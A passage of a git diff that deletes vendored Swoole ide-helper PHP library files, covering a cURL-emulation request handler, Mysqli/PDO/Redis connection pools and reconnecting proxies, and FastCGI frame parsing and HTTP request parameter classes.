$this->headers['Content-Type'] = 'application/x-www-form-urlencoded'; - } - } elseif (is_array($this->postData)) { - foreach ($this->postData as $k => $v) { - if ($v instanceof CURLFile) { - $client->addFile($v->getFilename(), $k, $v->getMimeType() ?: 'application/octet-stream', $v->getPostFilename()); - unset($this->postData[$k]); - } - } - } - } - $client->setData($this->postData); - } - /* - * Headers - */ - // Notice: setHeaders must be placed last, because headers may be changed by other parts - // As much as possible to ensure that Host is the first header. - // See: http://tools.ietf.org/html/rfc7230#section-5.4 - foreach ($this->headers as $headerName => $headerValue) { - if ($headerValue === '') { - // remove empty headers (keep same with raw cURL) - unset($this->headers[$headerName]); - } - } - $client->setHeaders($this->headers); - /** - * Execute. - */ - $executeResult = $client->execute($this->getUrl()); - if (!$executeResult) { - $errCode = $client->errCode; - if ($errCode == SWOOLE_ERROR_DNSLOOKUP_RESOLVE_FAILED or $errCode == SWOOLE_ERROR_DNSLOOKUP_RESOLVE_TIMEOUT) { - $this->setError(CURLE_COULDNT_RESOLVE_HOST, 'Could not resolve host: ' . $client->host); - } else { - $this->setError($errCode, $client->errMsg); - } - $this->info['total_time'] = microtime(true) - $timeBegin; - return false; - } - if ($client->statusCode >= 300 and $client->statusCode < 400 and isset($client->headers['location'])) { - $redirectParsedUrl = $this->getRedirectUrl($client->headers['location']); - $redirectUrl = static::unparseUrl($redirectParsedUrl); - if ($this->followLocation and ($this->maxRedirects === null or $this->info['redirect_count'] < $this->maxRedirects)) { - if ($this->info['redirect_count'] === 0) { - $this->info['starttransfer_time'] = microtime(true) - $timeBegin; - $redirectBeginTime = microtime(true); - } - // force GET - if (in_array($client->statusCode, [Status::MOVED_PERMANENTLY, Status::FOUND, Status::SEE_OTHER])) { - $this->method = 'GET'; - } - if ($this->autoReferer) { - $this->headers['Referer'] = $this->info['url']; - } - $this->setUrl($redirectUrl, false); - $this->setUrlInfo($redirectParsedUrl); - $this->info['redirect_count']++; - } else { - $this->info['redirect_url'] = $redirectUrl; - break; - } - } elseif ($this->failOnError && $client->statusCode >= 400) { - $this->setError(CURLE_HTTP_RETURNED_ERROR, "The requested URL returned error: {$client->statusCode} " . Status::getReasonPhrase($client->statusCode)); - return false; - } else { - break; - } - } while (true); - $this->info['total_time'] = microtime(true) - $timeBegin; - $this->info['http_code'] = $client->statusCode; - $this->info['content_type'] = $client->headers['content-type'] ?? ''; - $this->info['size_download'] = $this->info['download_content_length'] = strlen($client->body); - $this->info['speed_download'] = 1 / $this->info['total_time'] * $this->info['size_download']; - if (isset($redirectBeginTime)) { - $this->info['redirect_time'] = microtime(true) - $redirectBeginTime; - } - - $headerContent = ''; - if ($client->headers) { - $cb = $this->headerFunction; - if ($client->statusCode > 0) { - $row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n"; - if ($cb) { - $cb($this, $row); - } - $headerContent .= $row; - } - foreach ($client->headers as $k => $v) { - $row = "{$k}: {$v}\r\n"; - if ($cb) { - $cb($this, $row); - } - $headerContent .= $row; - } - $headerContent .= "\r\n"; - $this->info['header_size'] = strlen($headerContent); - if ($cb) { - $cb($this, ''); - } - } else { - $this->info['header_size'] = 0; - } - - if ($client->body and $this->readFunction) { - $cb = $this->readFunction; - $cb($this, $this->outputStream, strlen($client->body)); - } - - if ($this->withHeader) { - $transfer = $headerContent . $client->body; - } else { - $transfer = $client->body; - } - - if ($this->withHeaderOut) { - $headerOutContent = $client->getHeaderOut(); - $this->info['request_header'] = $headerOutContent ? $headerOutContent . "\r\n\r\n" : ''; - } - if ($this->withFileTime) { - if (isset($client->headers['last-modified'])) { - $this->info['filetime'] = strtotime($client->headers['last-modified']); - } else { - $this->info['filetime'] = -1; - } - } - - if ($this->returnTransfer) { - return $this->transfer = $transfer; - } - if ($this->outputStream) { - return fwrite($this->outputStream, $transfer) === strlen($transfer); - } - echo $transfer; - - return true; - } - - /* ====== Redirect helper ====== */ - - private static function unparseUrl(array $parsedUrl): string - { - $scheme = ($parsedUrl['scheme'] ?? 'http') . '://'; - $host = $parsedUrl['host'] ?? ''; - $port = isset($parsedUrl['port']) ? ':' . $parsedUrl['port'] : ''; - $user = $parsedUrl['user'] ?? ''; - $pass = isset($parsedUrl['pass']) ? ':' . $parsedUrl['pass'] : ''; - $pass = ($user or $pass) ? "{$pass}@" : ''; - $path = $parsedUrl['path'] ?? ''; - $query = (isset($parsedUrl['query']) and $parsedUrl['query'] !== '') ? '?' . $parsedUrl['query'] : ''; - $fragment = isset($parsedUrl['fragment']) ? '#' . $parsedUrl['fragment'] : ''; - return $scheme . $user . $pass . $host . $port . $path . $query . $fragment; - } - - private function getRedirectUrl(string $location): array - { - $uri = parse_url($location); - if (isset($uri['host'])) { - $redirectUri = $uri; - } else { - if (!isset($location[0])) { - return []; - } - $redirectUri = $this->urlInfo; - $redirectUri['query'] = ''; - if ($location[0] === '/') { - $redirectUri['path'] = $location; - } else { - $path = dirname($redirectUri['path'] ?? ''); - if ($path === '.') { - $path = '/'; - } - if (isset($location[1]) and substr($location, 0, 2) === './') { - $location = substr($location, 2); - } - $redirectUri['path'] = $path . $location; - } - foreach ($uri as $k => $v) { - if (!in_array($k, ['path', 'query'])) { - $redirectUri[$k] = $v; - } - } - } - return $redirectUri; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliConfig.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliConfig.php deleted file mode 100644 index 35d7dd6..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliConfig.php +++ /dev/null @@ -1,127 +0,0 @@ -host; - } - - public function withHost($host): self - { - $this->host = $host; - return $this; - } - - public function getPort(): int - { - return $this->port; - } - - public function getUnixSocket(): string - { - return $this->unixSocket; - } - - public function withUnixSocket(?string $unixSocket): self - { - $this->unixSocket = $unixSocket; - return $this; - } - - public function withPort(int $port): self - { - $this->port = $port; - return $this; - } - - public function getDbname(): string - { - return $this->dbname; - } - - public function withDbname(string $dbname): self - { - $this->dbname = $dbname; - return $this; - } - - public function getCharset(): string - { - return $this->charset; - } - - public function withCharset(string $charset): self - { - $this->charset = $charset; - return $this; - } - - public function getUsername(): string - { - return $this->username; - } - - public function withUsername(string $username): self - { - $this->username = $username; - return $this; - } - - public function getPassword(): string - { - return $this->password; - } - - public function withPassword(string $password): self - { - $this->password = $password; - return $this; - } - - public function getOptions(): array - { - return $this->options; - } - - public function withOptions(array $options): self - { - $this->options = $options; - return $this; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliException.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliException.php deleted file mode 100644 index bcca403..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliException.php +++ /dev/null @@ -1,18 +0,0 @@ -config = $config; - parent::__construct(function () { - $mysqli = new mysqli(); - foreach ($this->config->getOptions() as $option => $value) { - $mysqli->set_opt($option, $value); - } - $mysqli->real_connect( - $this->config->getHost(), - $this->config->getUsername(), - $this->config->getPassword(), - $this->config->getDbname(), - $this->config->getPort(), - $this->config->getUnixSocket() - ); - if ($mysqli->connect_errno) { - throw new MysqliException($mysqli->connect_error, $mysqli->connect_errno); - } - return $mysqli; - }, $size, MysqliProxy::class); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliProxy.php deleted file mode 100644 index 1d4dc73..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliProxy.php +++ /dev/null @@ -1,126 +0,0 @@ -constructor = $constructor; - } - - public function __call(string $name, array $arguments) - { - for ($n = 3; $n--;) { - $ret = @$this->__object->{$name}(...$arguments); - if ($ret === false) { - /* non-IO method */ - if (!preg_match(static::IO_METHOD_REGEX, $name)) { - break; - } - /* no more chances or non-IO failures */ - if ( - !in_array($this->__object->errno, static::IO_ERRORS, true) || - $n === 0 - ) { - throw new MysqliException($this->__object->error, $this->__object->errno); - } - $this->reconnect(); - continue; - } - if (strcasecmp($name, 'prepare') === 0) { - $ret = new MysqliStatementProxy($ret, $arguments[0], $this); - } elseif (strcasecmp($name, 'stmt_init') === 0) { - $ret = new MysqliStatementProxy($ret, null, $this); - } - break; - } - /* @noinspection PhpUndefinedVariableInspection */ - return $ret; - } - - public function getRound(): int - { - return $this->round; - } - - public function reconnect(): void - { - $constructor = $this->constructor; - parent::__construct($constructor()); - $this->round++; - /* restore context */ - if ($this->charsetContext) { - $this->__object->set_charset($this->charsetContext); - } - if ($this->setOptContext) { - foreach ($this->setOptContext as $opt => $val) { - $this->__object->set_opt($opt, $val); - } - } - if ($this->changeUserContext) { - $this->__object->change_user(...$this->changeUserContext); - } - } - - public function options(int $option, $value): bool - { - $this->setOptContext[$option] = $value; - return $this->__object->options($option, $value); - } - - public function set_opt(int $option, $value): bool - { - return $this->options($option, $value); - } - - public function set_charset(string $charset): bool - { - $this->charsetContext = $charset; - return $this->__object->set_charset($charset); - } - - public function change_user(string $user, string $password, string $database): bool - { - $this->changeUserContext = [$user, $password, $database]; - return $this->__object->change_user($user, $password, $database); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliStatementProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliStatementProxy.php deleted file mode 100644 index 9452ea1..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/MysqliStatementProxy.php +++ /dev/null @@ -1,114 +0,0 @@ -queryString = $queryString; - $this->parent = $parent; - $this->parentRound = $parent->getRound(); - } - - public function __call(string $name, array $arguments) - { - for ($n = 3; $n--;) { - $ret = @$this->__object->{$name}(...$arguments); - if ($ret === false) { - /* non-IO method */ - if (!preg_match(static::IO_METHOD_REGEX, $name)) { - break; - } - /* no more chances or non-IO failures or in transaction */ - if ( - !in_array($this->__object->errno, $this->parent::IO_ERRORS, true) || - $n === 0 - ) { - throw new MysqliException($this->__object->error, $this->__object->errno); - } - if ($this->parent->getRound() === $this->parentRound) { - /* if not equal, parent has reconnected */ - $this->parent->reconnect(); - } - $parent = $this->parent->__getObject(); - $this->__object = $this->queryString ? @$parent->prepare($this->queryString) : @$parent->stmt_init(); - if ($this->__object === false) { - throw new MysqliException($parent->error, $parent->errno); - } - if ($this->bindParamContext) { - $this->__object->bind_param($this->bindParamContext[0], ...$this->bindParamContext[1]); - } - if ($this->bindResultContext) { - $this->__object->bind_result($this->bindResultContext); - } - if ($this->attrSetContext) { - foreach ($this->attrSetContext as $attr => $value) { - $this->__object->attr_set($attr, $value); - } - } - continue; - } - if (strcasecmp($name, 'prepare') === 0) { - $this->queryString = $arguments[0]; - } - break; - } - /* @noinspection PhpUndefinedVariableInspection */ - return $ret; - } - - public function attr_set($attr, $mode): bool - { - $this->attrSetContext[$attr] = $mode; - return $this->__object->attr_set($attr, $mode); - } - - public function bind_param($types, &...$arguments): bool - { - $this->bindParamContext = [$types, $arguments]; - return $this->__object->bind_param($types, ...$arguments); - } - - public function bind_result(&...$arguments): bool - { - $this->bindResultContext = $arguments; - return $this->__object->bind_result(...$arguments); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/ObjectProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/ObjectProxy.php deleted file mode 100644 index d978f90..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/ObjectProxy.php +++ /dev/null @@ -1,22 +0,0 @@ -driver; - } - - public function withDriver(string $driver): self - { - $this->driver = $driver; - return $this; - } - - public function getHost(): string - { - return $this->host; - } - - public function withHost($host): self - { - $this->host = $host; - return $this; - } - - public function getPort(): int - { - return $this->port; - } - - public function hasUnixSocket(): bool - { - return isset($this->unixSocket); - } - - public function getUnixSocket(): string - { - return $this->unixSocket; - } - - public function withUnixSocket(?string $unixSocket): self - { - $this->unixSocket = $unixSocket; - return $this; - } - - public function withPort(int $port): self - { - $this->port = $port; - return $this; - } - - public function getDbname(): string - { - return $this->dbname; - } - - public function withDbname(string $dbname): self - { - $this->dbname = $dbname; - return $this; - } - - public function getCharset(): string - { - return $this->charset; - } - - public function withCharset(string $charset): self - { - $this->charset = $charset; - return $this; - } - - public function getUsername(): string - { - return $this->username; - } - - public function withUsername(string $username): self - { - $this->username = $username; - return $this; - } - - public function getPassword(): string - { - return $this->password; - } - - public function withPassword(string $password): self - { - $this->password = $password; - return $this; - } - - public function getOptions(): array - { - return $this->options; - } - - public function withOptions(array $options): self - { - $this->options = $options; - return $this; - } - - /** - * Returns the list of available drivers - * - * @return string[] - */ - public static function getAvailableDrivers() - { - return [ - self::DRIVER_MYSQL, - ]; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOPool.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOPool.php deleted file mode 100644 index 20c8928..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOPool.php +++ /dev/null @@ -1,48 +0,0 @@ -config = $config; - parent::__construct(function () { - return new PDO( - "{$this->config->getDriver()}:" . - ( - $this->config->hasUnixSocket() ? - "unix_socket={$this->config->getUnixSocket()};" : - "host={$this->config->getHost()};" . "port={$this->config->getPort()};" - ) . - "dbname={$this->config->getDbname()};" . - "charset={$this->config->getCharset()}", - $this->config->getUsername(), - $this->config->getPassword(), - $this->config->getOptions() - ); - }, $size, PDOProxy::class); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOProxy.php deleted file mode 100644 index e79c375..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOProxy.php +++ /dev/null @@ -1,109 +0,0 @@ -__object->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT); - $this->constructor = $constructor; - } - - public function __call(string $name, array $arguments) - { - for ($n = 3; $n--;) { - $ret = @$this->__object->{$name}(...$arguments); - if ($ret === false) { - /* non-IO method */ - if (!preg_match(static::IO_METHOD_REGEX, $name)) { - break; - } - $errorInfo = $this->__object->errorInfo(); - /* no more chances or non-IO failures */ - if ( - !in_array($errorInfo[1], static::IO_ERRORS, true) || - $n === 0 || - $this->__object->inTransaction() - ) { - $exception = new PDOException($errorInfo[2], $errorInfo[1]); - $exception->errorInfo = $errorInfo; - throw $exception; - } - $this->reconnect(); - continue; - } - if ( - strcasecmp($name, 'prepare') === 0 || - strcasecmp($name, 'query') === 0 - ) { - $ret = new PDOStatementProxy($ret, $this); - } - break; - } - /* @noinspection PhpUndefinedVariableInspection */ - return $ret; - } - - public function getRound(): int - { - return $this->round; - } - - public function reconnect(): void - { - $constructor = $this->constructor; - parent::__construct($constructor()); - $this->round++; - /* restore context */ - if ($this->setAttributeContext) { - foreach ($this->setAttributeContext as $attribute => $value) { - $this->__object->setAttribute($attribute, $value); - } - } - } - - public function setAttribute(int $attribute, $value): bool - { - $this->setAttributeContext[$attribute] = $value; - return $this->__object->setAttribute($attribute, $value); - } - - public function inTransaction(): bool - { - return $this->__object->inTransaction(); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOStatementProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOStatementProxy.php deleted file mode 100644 index 68f86b8..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/PDOStatementProxy.php +++ /dev/null @@ -1,150 +0,0 @@ -parent = $parent; - $this->parentRound = $parent->getRound(); - } - - public function __call(string $name, array $arguments) - { - for ($n = 3; $n--;) { - $ret = @$this->__object->{$name}(...$arguments); - if ($ret === false) { - /* no IO */ - if (strtolower($name) !== 'execute') { - break; - } - /* no more chances or non-IO failures or in transaction */ - if ( - !in_array($this->__object->errorInfo()[1], $this->parent::IO_ERRORS, true) || - $n === 0 || - $this->parent->inTransaction() - ) { - $errorInfo = $this->__object->errorInfo(); - - // '00000' means “no error.”, as specified by ANSI SQL and ODBC. - if ($errorInfo[0] !== '00000') { - $exception = new PDOException($errorInfo[2], $errorInfo[1]); - $exception->errorInfo = $errorInfo; - throw $exception; - } - } - if ($this->parent->getRound() === $this->parentRound) { - /* if not equal, parent has reconnected */ - $this->parent->reconnect(); - } - $parent = $this->parent->__getObject(); - $this->__object = $parent->prepare($this->__object->queryString); - if ($this->__object === false) { - $errorInfo = $parent->errorInfo(); - $exception = new PDOException($errorInfo[2], $errorInfo[1]); - $exception->errorInfo = $errorInfo; - throw $exception; - } - if ($this->setAttributeContext) { - foreach ($this->setAttributeContext as $attribute => $value) { - $this->__object->setAttribute($attribute, $value); - } - } - if ($this->setFetchModeContext) { - $this->__object->setFetchMode(...$this->setFetchModeContext); - } - if ($this->bindParamContext) { - foreach ($this->bindParamContext as $param => $item) { - $this->__object->bindParam($param, ...$item); - } - } - if ($this->bindColumnContext) { - foreach ($this->bindColumnContext as $column => $item) { - $this->__object->bindColumn($column, ...$item); - } - } - if ($this->bindValueContext) { - foreach ($this->bindValueContext as $value => $item) { - $this->__object->bindParam($value, ...$item); - } - } - continue; - } - break; - } - /* @noinspection PhpUndefinedVariableInspection */ - return $ret; - } - - public function setAttribute(int $attribute, $value): bool - { - $this->setAttributeContext[$attribute] = $value; - return $this->__object->setAttribute($attribute, $value); - } - - public function setFetchMode(int $mode, $classNameObject = null, array $ctorarfg = []): bool - { - $this->setFetchModeContext = [$mode, $classNameObject, $ctorarfg]; - if (!isset($classNameObject)) { - return $this->__object->setFetchMode($mode); - } - return $this->__object->setFetchMode($mode, $classNameObject, $ctorarfg); - } - - public function bindParam($parameter, &$variable, $data_type = PDO::PARAM_STR, $length = null, $driver_options = null): bool - { - $this->bindParamContext[$parameter] = [$variable, $data_type, $length, $driver_options]; - return $this->__object->bindParam($parameter, $variable, $data_type, $length, $driver_options); - } - - public function bindColumn($column, &$param, $type = null, $maxlen = null, $driverdata = null): bool - { - $this->bindColumnContext[$column] = [$param, $type, $maxlen, $driverdata]; - return $this->__object->bindColumn($column, $param, $type, $maxlen, $driverdata); - } - - public function bindValue($parameter, $value, $data_type = PDO::PARAM_STR): bool - { - $this->bindValueContext[$parameter] = [$value, $data_type]; - return $this->__object->bindValue($parameter, $value, $data_type); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisConfig.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisConfig.php deleted file mode 100644 index 645d715..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisConfig.php +++ /dev/null @@ -1,127 +0,0 @@ -host; - } - - public function withHost($host): self - { - $this->host = $host; - return $this; - } - - public function getPort(): int - { - return $this->port; - } - - public function withPort(int $port): self - { - $this->port = $port; - return $this; - } - - public function getTimeout(): float - { - return $this->timeout; - } - - public function withTimeout(float $timeout): self - { - $this->timeout = $timeout; - return $this; - } - - public function getReserved(): string - { - return $this->reserved; - } - - public function withReserved(string $reserved): self - { - $this->reserved = $reserved; - return $this; - } - - public function getRetryInterval(): int - { - return $this->retry_interval; - } - - public function withRetryInterval(int $retry_interval): self - { - $this->retry_interval = $retry_interval; - return $this; - } - - public function getReadTimeout(): float - { - return $this->read_timeout; - } - - public function withReadTimeout(float $read_timeout): self - { - $this->read_timeout = $read_timeout; - return $this; - } - - public function getAuth(): string - { - return $this->auth; - } - - public function withAuth(string $auth): self - { - $this->auth = $auth; - return $this; - } - - public function getDbIndex(): int - { - return $this->dbIndex; - } - - public function withDbIndex(int $dbIndex): self - { - $this->dbIndex = $dbIndex; - return $this; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisPool.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisPool.php deleted file mode 100644 index f409927..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Database/RedisPool.php +++ /dev/null @@ -1,57 +0,0 @@ -config = $config; - parent::__construct(function () { - $redis = new Redis(); - /* Compatible with different versions of Redis extension as much as possible */ - $arguments = [ - $this->config->getHost(), - $this->config->getPort(), - ]; - if ($this->config->getTimeout() !== 0.0) { - $arguments[] = $this->config->getTimeout(); - } - if ($this->config->getRetryInterval() !== 0) { - /* reserved should always be NULL */ - $arguments[] = null; - $arguments[] = $this->config->getRetryInterval(); - } - if ($this->config->getReadTimeout() !== 0.0) { - $arguments[] = $this->config->getReadTimeout(); - } - $redis->connect(...$arguments); - if ($this->config->getAuth()) { - $redis->auth($this->config->getAuth()); - } - if ($this->config->getDbIndex() !== 0) { - $redis->select($this->config->getDbIndex()); - } - return $redis; - }, $size); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Exception/ArrayKeyNotExists.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Exception/ArrayKeyNotExists.php deleted file mode 100644 index 95b2a58..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Exception/ArrayKeyNotExists.php +++ /dev/null @@ -1,16 +0,0 @@ - FastCGI\Record\BeginRequest::class, - FastCGI::ABORT_REQUEST => FastCGI\Record\AbortRequest::class, - FastCGI::END_REQUEST => FastCGI\Record\EndRequest::class, - FastCGI::PARAMS => FastCGI\Record\Params::class, - FastCGI::STDIN => FastCGI\Record\Stdin::class, - FastCGI::STDOUT => FastCGI\Record\Stdout::class, - FastCGI::STDERR => FastCGI\Record\Stderr::class, - FastCGI::DATA => FastCGI\Record\Data::class, - FastCGI::GET_VALUES => FastCGI\Record\GetValues::class, - FastCGI::GET_VALUES_RESULT => FastCGI\Record\GetValuesResult::class, - FastCGI::UNKNOWN_TYPE => FastCGI\Record\UnknownType::class, - ]; - - /** - * Checks if the buffer contains a valid frame to parse - * - * @param string $buffer Binary buffer - */ - public static function hasFrame(string $buffer): bool - { - $bufferLength = strlen($buffer); - if ($bufferLength < FastCGI::HEADER_LEN) { - return false; - } - - $fastInfo = unpack(FastCGI::HEADER_FORMAT, $buffer); - if ($bufferLength < FastCGI::HEADER_LEN + $fastInfo['contentLength'] + $fastInfo['paddingLength']) { - return false; - } - - return true; - } - - /** - * Parses a frame from the binary buffer - * - * @param string $buffer Binary buffer - * - * @return Record One of the corresponding FastCGI record - */ - public static function parseFrame(string &$buffer): Record - { - $bufferLength = strlen($buffer); - if ($bufferLength < FastCGI::HEADER_LEN) { - throw new RuntimeException('Not enough data in the buffer to parse'); - } - $recordHeader = unpack(FastCGI::HEADER_FORMAT, $buffer); - $recordType = $recordHeader['type']; - if (!isset(self::$classMapping[$recordType])) { - throw new DomainException("Invalid FastCGI record type {$recordType} received"); - } - - /** @var Record $className */ - $className = self::$classMapping[$recordType]; - $record = $className::unpack($buffer); - - $offset = FastCGI::HEADER_LEN + $record->getContentLength() + $record->getPaddingLength(); - $buffer = substr($buffer, $offset); - - return $record; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpRequest.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpRequest.php deleted file mode 100644 index 899ad0d..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpRequest.php +++ /dev/null @@ -1,424 +0,0 @@ - 'http', - 'REQUEST_METHOD' => 'GET', - 'DOCUMENT_ROOT' => '', - 'SCRIPT_FILENAME' => '', - 'SCRIPT_NAME' => '', - 'DOCUMENT_URI' => '/', - 'REQUEST_URI' => '/', - 'QUERY_STRING' => '', - 'CONTENT_TYPE' => 'text/plain', - 'CONTENT_LENGTH' => '0', - 'GATEWAY_INTERFACE' => 'CGI/1.1', - 'SERVER_PROTOCOL' => 'HTTP/1.1', - 'SERVER_SOFTWARE' => 'swoole/' . SWOOLE_VERSION, - 'REMOTE_ADDR' => 'unknown', - 'REMOTE_PORT' => '0', - 'SERVER_ADDR' => 'unknown', - 'SERVER_PORT' => '0', - 'SERVER_NAME' => 'Swoole', - 'REDIRECT_STATUS' => '200', - ]; - - public function getScheme(): ?string - { - return $this->params['REQUEST_SCHEME'] ?? null; - } - - public function withScheme(string $scheme): self - { - $this->params['REQUEST_SCHEME'] = $scheme; - return $this; - } - - public function withoutScheme(): void - { - unset($this->params['REQUEST_SCHEME']); - } - - public function getMethod(): ?string - { - return $this->params['REQUEST_METHOD'] ?? null; - } - - public function withMethod(string $method): self - { - $this->params['REQUEST_METHOD'] = $method; - return $this; - } - - public function withoutMethod(): void - { - unset($this->params['REQUEST_METHOD']); - } - - public function getDocumentRoot(): ?string - { - return $this->params['DOCUMENT_ROOT'] ?? null; - } - - public function withDocumentRoot(string $documentRoot): self - { - $this->params['DOCUMENT_ROOT'] = $documentRoot; - return $this; - } - - public function withoutDocumentRoot(): void - { - unset($this->params['DOCUMENT_ROOT']); - } - - public function getScriptFilename(): ?string - { - return $this->params['SCRIPT_FILENAME'] ?? null; - } - - public function withScriptFilename(string $scriptFilename): self - { - $this->params['SCRIPT_FILENAME'] = $scriptFilename; - return $this; - } - - public function withoutScriptFilename(): void - { - unset($this->params['SCRIPT_FILENAME']); - } - - public function getScriptName(): ?string - { - return $this->params['SCRIPT_NAME'] ?? null; - } - - public function withScriptName(string $scriptName): self - { - $this->params['SCRIPT_NAME'] = $scriptName; - return $this; - } - - public function withoutScriptName(): void - { - unset($this->params['SCRIPT_NAME']); - } - - public function withUri(string $uri): self - { - $info = parse_url($uri); - return $this->withRequestUri($uri) - ->withDocumentUri($info['path'] ?? '') - ->withQueryString($info['query'] ?? ''); - } - - public function getDocumentUri(): ?string - { - return $this->params['DOCUMENT_URI'] ?? null; - } - - public function withDocumentUri(string $documentUri): self - { - $this->params['DOCUMENT_URI'] = $documentUri; - return $this; - } - - public function withoutDocumentUri(): void - { - unset($this->params['DOCUMENT_URI']); - } - - public function getRequestUri(): ?string - { - return $this->params['REQUEST_URI'] ?? null; - } - - public function withRequestUri(string $requestUri): self - { - $this->params['REQUEST_URI'] = $requestUri; - return $this; - } - - public function withoutRequestUri(): void - { - unset($this->params['REQUEST_URI']); - } - - public function withQuery($query): self - { - if (is_array($query)) { - $query = http_build_query($query); - } - return $this->withQueryString($query); - } - - public function getQueryString(): ?string - { - return $this->params['QUERY_STRING'] ?? null; - } - - public function withQueryString(string $queryString): self - { - $this->params['QUERY_STRING'] = $queryString; - return $this; - } - - public function withoutQueryString(): void - { - unset($this->params['QUERY_STRING']); - } - - public function getContentType(): ?string - { - return $this->params['CONTENT_TYPE'] ?? null; - } - - public function withContentType(string $contentType): self - { - $this->params['CONTENT_TYPE'] = $contentType; - return $this; - } - - public function withoutContentType(): void - { - unset($this->params['CONTENT_TYPE']); - } - - public function getContentLength(): ?int - { - return isset($this->params['CONTENT_LENGTH']) ? (int) $this->params['CONTENT_LENGTH'] : null; - } - - public function withContentLength(int $contentLength): self - { - $this->params['CONTENT_LENGTH'] = (string) $contentLength; - return $this; - } - - public function withoutContentLength(): void - { - unset($this->params['CONTENT_LENGTH']); - } - - public function getGatewayInterface(): ?string - { - return $this->params['GATEWAY_INTERFACE'] ?? null; - } - - public function withGatewayInterface(string $gatewayInterface): self - { - $this->params['GATEWAY_INTERFACE'] = $gatewayInterface; - return $this; - } - - public function withoutGatewayInterface(): void - { - unset($this->params['GATEWAY_INTERFACE']); - } - - public function getServerProtocol(): ?string - { - return $this->params['SERVER_PROTOCOL'] ?? null; - } - - public function withServerProtocol(string $serverProtocol): self - { - $this->params['SERVER_PROTOCOL'] = $serverProtocol; - return $this; - } - - public function withoutServerProtocol(): void - { - unset($this->params['SERVER_PROTOCOL']); - } - - public function withProtocolVersion(string $protocolVersion): self - { - if (!is_numeric($protocolVersion)) { - throw new InvalidArgumentException('Protocol version must be numeric'); - } - $this->params['SERVER_PROTOCOL'] = "HTTP/{$protocolVersion}"; - return $this; - } - - public function getServerSoftware(): ?string - { - return $this->params['SERVER_SOFTWARE'] ?? null; - } - - public function withServerSoftware(string $serverSoftware): self - { - $this->params['SERVER_SOFTWARE'] = $serverSoftware; - return $this; - } - - public function withoutServerSoftware(): void - { - unset($this->params['SERVER_SOFTWARE']); - } - - public function getRemoteAddr(): ?string - { - return $this->params['REMOTE_ADDR'] ?? null; - } - - public function withRemoteAddr(string $remoteAddr): self - { - $this->params['REMOTE_ADDR'] = $remoteAddr; - return $this; - } - - public function withoutRemoteAddr(): void - { - unset($this->params['REMOTE_ADDR']); - } - - public function getRemotePort(): ?int - { - return isset($this->params['REMOTE_PORT']) ? (int) $this->params['REMOTE_PORT'] : null; - } - - public function withRemotePort(int $remotePort): self - { - $this->params['REMOTE_PORT'] = (string) $remotePort; - return $this; - } - - public function withoutRemotePort(): void - { - unset($this->params['REMOTE_PORT']); - } - - public function getServerAddr(): ?string - { - return $this->params['SERVER_ADDR'] ?? null; - } - - public function withServerAddr(string $serverAddr): self - { - $this->params['SERVER_ADDR'] = $serverAddr; - return $this; - } - - public function withoutServerAddr(): void - { - unset($this->params['SERVER_ADDR']); - } - - public function getServerPort(): ?int - { - return isset($this->params['SERVER_PORT']) ? (int) $this->params['SERVER_PORT'] : null; - } - - public function withServerPort(int $serverPort): self - { - $this->params['SERVER_PORT'] = (string) $serverPort; - return $this; - } - - public function withoutServerPort(): void - { - unset($this->params['SERVER_PORT']); - } - - public function getServerName(): ?string - { - return $this->params['SERVER_NAME'] ?? null; - } - - public function withServerName(string $serverName): self - { - $this->params['SERVER_NAME'] = $serverName; - return $this; - } - - public function withoutServerName(): void - { - unset($this->params['SERVER_NAME']); - } - - public function getRedirectStatus(): ?string - { - return $this->params['REDIRECT_STATUS'] ?? null; - } - - public function withRedirectStatus(string $redirectStatus): self - { - $this->params['REDIRECT_STATUS'] = $redirectStatus; - return $this; - } - - public function withoutRedirectStatus(): void - { - unset($this->params['REDIRECT_STATUS']); - } - - public function getHeader(string $name): ?string 